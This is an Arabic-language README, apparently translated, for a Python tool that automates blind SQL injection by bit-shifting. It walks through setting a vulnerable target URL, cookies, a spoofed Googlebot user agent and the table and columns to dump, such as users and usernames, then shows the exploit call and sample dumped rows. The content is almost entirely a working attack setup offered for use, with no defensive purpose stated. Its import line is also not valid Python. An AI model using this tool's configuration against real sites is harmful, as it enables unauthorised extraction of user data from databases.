
وحدة حقن SQL أعمى تستخدم الإزاحة البتية لحساب الأحرف.
هذه وحدة تقوم بتنفيذ حقن SQL الأعمى باستخدام طريقة تحويل البتات لحساب الأحرف بدلاً من تخمينها. تتطلب من 7 إلى 8 طلبًا لكل حرف، حسب الإعدادات.
import blind-sql-bitshifting as x
# قم بتحرير هذا القاموس لتكوين متجهات الهجوم
x.options
# رابط ضعيف
x.options["target"] = "http://www.example.com/index.php?id=1"
# تحديد ملف تعريف الارتباط (اختياري)
x.options["cookies"] = ""
# تحديد شرط لصف معين، مثلاً 'uid=1' للمسؤول (اختياري)
x.options["row_condition"] = ""
# خيار منطقي لمتابعة إعادة التوجيه
x.options["follow_redirections"] = 0
# تحديد وكيل المستخدم
x.options["user_agent"] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
# تحديد الجدول المراد تفريغه
x.options["table_name"] = "users"
# تحديد الأعمدة المراد تفريغها
x.options["columns"] = "id, username"
# السلسلة المراد التحقق منها في الصفحة بعد تنفيذ جملة ناجحة
x.options["truth_string"] = "<p id='success'>true</p>"
# انظر أدناه
x.options["assume_only_ascii"] = 1
خيار assume_only_ascii يجعل الوحدة تفترض أن الأحرف التي يتم تفريغها هي جميعها ASCII. نظرًا لأن مجموعة أحرف ASCII تصل فقط إلى 127، يمكننا تعيين البت الأول إلى 0 وعدم القلق بشأن حسابه. هذا يمثل انخفاضًا بنسبة 12.5% في عدد الطلبات. عند الاختبار محليًا، أدى هذا إلى زيادة متوسط السرعة بنسبة 15%. بالطبع، قد يتسبب هذا في مشاكل عند تفريغ الأحرف خارج نطاق ASCII. افتراضيًا، تم تعيينه إلى 0.
بمجرد التكوين:
data = x.exploit()
يُرجع هذا مصفوفة ثنائية الأبعاد، تحتوي كل مصفوفة فرعية على صف واحد، ويكون أولها رؤوس الأعمدة.
مثال على المخرجات:
[['id', 'username'], ['1', 'user1'], ['2', 'user2'], ['3', 'user3'], ['4', 'user4']]
اختياريًا، يمكن لنصوصك البرمجية الاستفادة من وحدة tabulate لإخراج البيانات:
from tabulate import tabulate
data = x.exploit()
print tabulate(data,
headers='firstrow', # هذا يحدد استخدام أول صف كرؤوس للأعمدة.
tablefmt='psql') # استخدام تنسيق إخراج SQL. يمكن استخدام تنسيقات أخرى.
سيُخرج هذا:
+------+------------+
| id | username |
|------+------------|
| 1 | user1 |
| 2 | user2 |
| 3 | user3 |
| 4 | user4 |
+------+------------+